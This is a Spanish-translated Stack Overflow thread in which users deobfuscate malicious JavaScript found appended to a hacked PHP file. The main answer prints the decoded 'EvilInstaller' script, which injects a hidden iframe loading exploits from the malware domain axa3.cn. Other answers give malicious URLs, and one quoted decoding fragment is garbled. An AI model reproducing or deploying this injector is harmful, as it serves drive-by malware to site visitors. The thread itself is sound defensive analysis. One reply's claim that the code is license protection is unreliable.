Pregunta

Tengo un código que estaba en la parte inferior de un archivo php que está en JavaScript. Atraviesa muchas contorsiones extrañas, como convertir hexadecimal a ascii y luego hacer reemplazos de expresiones regulares, ejecutar código, etc.

¿Hay alguna forma de averiguar qué se está ejecutando antes de que realmente lo haga?

El código está aquí:

http://pastebin.ca/1303597

¿Fue útil?

Solución

Puede pasar por cada etapa, ya que es Javascript, y está interpretado, debe ser su propio descifrador. Si tiene acceso a un intérprete de Javascript de la línea de comando (como la Consola en Firebug ), esto será bastante sencillo.

Echaré un vistazo y veré lo que surja.

Editar He superado la mayor parte del proceso. Parece que el paso final no es trivial, probablemente porque involucra " argument.callee " ;. De todos modos, he puesto lo que tengo hasta ahora en Pastebin.

Curiosamente, encontré que la parte más difícil de esto fue dar nombres propios a las variables gibberish. Me recordó a un crucigrama, o sudoku, donde sabes cómo están relacionadas las cosas, pero definitivamente no puedes asignar algo hasta que descubras cuáles son sus partes dependientes. :-) Estoy seguro de que si alguien reconoce el algoritmo puede dar a las partes nombres más significativos, pero en el bit en el que hay una gran cantidad de XORing, hay dos variables temporales que acabo de dejar como sus nombres predeterminados ya que no conozco suficiente contexto para darles unos útiles.

Edición final : el bit de 'argumentos.calleta' se hizo fácil cuando me di cuenta de que solo podía pasar el texto en bruto que, irónicamente, solo estaba descodificando (es una técnica bastante inteligente, por lo que la deobfuscation normal no funcionará porque, por supuesto, una vez que cambia el nombre de las variables, etc., el valor es diferente). De todos modos, aquí tienes tu guión completo:


    function EvilInstaller(){};
    EvilInstaller.prototype = {
        getFrameURL : function() {
            var dlh=document.location.host;
            return "http"+'://'+((dlh == '' || dlh == 'undefined') ? this.getRandString() : '') + dlh.replace (/[^a-z0-9.-]/,'.').replace (/\.+/,'.') + "." + this.getRandString() + "." + this.host + this.path;
        },
        path:'/elanguage.cn/',
        cookieValue:1,
        setCookie : function(name, value) {
            var d= new Date();
            d.setTime(new Date().getTime() + 86400000);
            document.cookie = name + "=" + escape(value)+"; expires="+d.toGMTString();
        },
        install : function() {
            if (!this.alreadyInstalled()) {
                var s = "<div style='display:none'><iframe src='" + this.getFrameURL() + "'></iframe></div>"
                try {
                    document.open();
                    document.write(s);
                    document.close();
                }
                catch(e) {
                    document.write("<html><body>" + s + "</body></html>")
                }
                this.setCookie(this.cookieName, this.cookieValue);
            }
        },
        getRandString : function() {
            var l=16,c='0Z1&2Q3Z4*5&6Z7Q8*9)a*b*cQdZeQf*'.replace(/[ZQ&\*\)]/g, '');
            var o='';
            for (var i=0;i<l;i++) {
                o+=c.substr(Math.floor(Math.random()*c.length),1,1);
            }
            return o;
        },
        cookieName:'hedcfagb',
        host:'axa3.cn',
        alreadyInstalled : function() {
            return !(document.cookie.indexOf(this.cookieName + '=' + this.cookieValue) == -1);
        }
    };
    var evil=new EvilInstaller();
    evil.install();

Básicamente parece que carga malware de axa3.cn. Sin embargo, el ISP ya sospecha que el sitio está en marcha, por lo que no se puede decir lo que realmente estuvo allí más allá de la maldad general.

(Si alguien está interesado, estaba usando Pastebin como pseudo-VCS para las versiones cambiantes del código, por lo que puede ver otro paso intermedio , un poco después de mi primera publicación de edición. Fue bastante interesante ver las diferentes capas de ofuscación y cómo cambiaron).

Otros consejos

Aunque puede decodificar manualmente, pronto puede volverse tedioso cuando tiene muchas etapas de decodificación. Normalmente sustituyo eval / write para ver cada paso:

<script>
    window.__eval= window.eval;
    window.eval= function(s) { if (confirm('OK to eval? '+s)) return this.__eval(s); }
    document.__write= document.write;
    document.write= function(s) { if (confirm('OK to write? '+s)) return this.__write(s); }
</script>

Sin embargo, este script en particular está protegido contra esto mediante una inspección deliberada de window.eval. El uso de argument.callee también significa que el script se basa en el formato Function.toString de un navegador en particular, en este caso los IE, no funcionará en otros navegadores. Puede poner soluciones alternativas en la función eval de reemplazo para darle al script lo que espera en este caso, pero sigue siendo un poco molesto.

Podría usar el Depurador de scripts para recorrer el código, o lo que hice en este caso fue permitir que el código se ejecute, en una máquina virtual sin redes que pueda permitirme cancelar. Al mirar document.body.innerHTML después de que se ejecutó el código, encontré que agregaba un iframe invisible que apunta a:

hxxp://62bc13b764ad2799.bbe4e7d3df5fdea8.axa3.cn/elanguage.cn/

que redirige a:

hxxp://google.com.upload.main.update.originalcn.cn/ebay.cn/index.php

que, visto en condiciones adecuadas en IE, le ofrece una gran cantidad de exploits. No vaya a estas URL .

En resumen, su servidor ha sido hackeado por axa3.cn, una de las muchas pandillas de malware operadas por rusos pero alojadas en China en este momento.

¿Simplemente escriba un script en perl o algo que cambie todos los caracteres hexadecimales escapados a ascii? Luego, simplemente revise las expresiones regulares para ver qué está sucediendo exactamente y haga lo mismo con su script perl / lo que sea.

Puedes probar la consola firebug y descomponerla poco a poco. Para empezar:

var jQuery = eval('w;iLn0d;opw;.0epv_a_l;'.replace(/[;0_pL]/g, ''));

solo está enmascarando el " eval " funcionar como " jQuery "

El enfoque más fácil sería usar simplemente un programa c simple para convertir los caracteres hexadecimales escapados en texto legible de esta manera:

#include <stdio.h>

const char wtf[] = ""; // Really long string goes here

int main(void) {
    ::printf("%s\n", wtf);
}

que produce esto (Agregué el formato). Te dejaré terminar la última parte, que parece ser más de lo mismo.

con mucho cuidado: si alguien se toma tantas molestias para ofuscar el código, probablemente sea algún tipo de script de ataque

puede generar los resultados de la ejecución en etapas utilizando un archivo html local, y procesarlo por partes

haciendo esto me sale:

var jQuery = "eval(" + 
    'w;iLn0d;opw;.0epv_a_l;'.replace(/[;0_pL]/g, '') + 
    ");";
document.writeln('jQuery=' + jQuery);

que rinde

jQuery=eval(window.eval);

que, como crescentfresh observó, enlaza la variable jQuery a la función window.eval.

la siguiente sección obviamente intenta evaluar algo en el código hexadecimal, así que veamos cómo se ve la cadena del código hexadecimal (reformateado manualmente para propósitos de presentación):

    function g4LZ(s9QNvAL)
    {
        function eDdqkXm(fX09)
        {
            var uaWG=0;
            var jtoS=fX09.length;
            var aCD6=0;
            while(aCD6wQ5.length)
                d971I=0;
            if(f234SD>lIXy6md.length)
                f234SD=0;
            kyCyJ+=String.fromCharCode(nCV2eO^ocx) + '';
        }
        eval(kyCyJ);
        return kyCyJ=new String();
    }
    catch(e){}
}
g4LZ('%33...%5e');

y ahora tenemos una cadena de escape al final, veamos qué hay allí usando unescape (truncado para la presentación):

30248118GA0 * l: WRG: nt9 * 82:) 7Z \ uF% * {...

francamente, me estoy aburriendo desarmando esto, así que en lugar de eso lo descargué en un archivo html local, desconectado de Internet, abrí Firefox, deshabilité javascript, cargué el archivo en Firefox, encendí Firebug, recargué la página de modo se ejecutaría e inspeccionó el DOM.

la secuencia de comandos crea un IFRAME con SRC establecido en [modificado por seguridad!]:

http://4b3b9e839fd84e47 [DO NOT CLICK THIS URL] .27f721b7f6c92d76.axa3.cn/elanguage.cn/

axa3.cn es un dominio chino en la lista negra de malware

Sé que no es la respuesta, pero generalmente (donde he visto este tipo de cosas), se colocan de modo que si esa línea no se ejecuta, todo el script se detiene. ¿Por qué hacen eso? Bien porque están imprimiendo sus derechos de autor en el guión (o más normalmente una plantilla).

Cuando la gente se toma todas las molestias para que usted lo reconozca es porque tienen una licencia de eliminación de derechos de autor, recomendaría pagarlo, ya que incluso si " ingeniero de ingeniería inversa " eso, pueden (y tienen) otras formas de verificar si su licencia es verdadera. (Algunos de esos softwares realmente enviarán algún tipo de mensaje si lo estás haciendo).

Pero, antes de recibir cualquier tipo de llama, estoy de acuerdo en que es interesante volver en este tipo de valores y obtener el código original y romperlo =)

Licenciado bajo: CC-BY-SA con atribución
No afiliado a StackOverflow
scroll top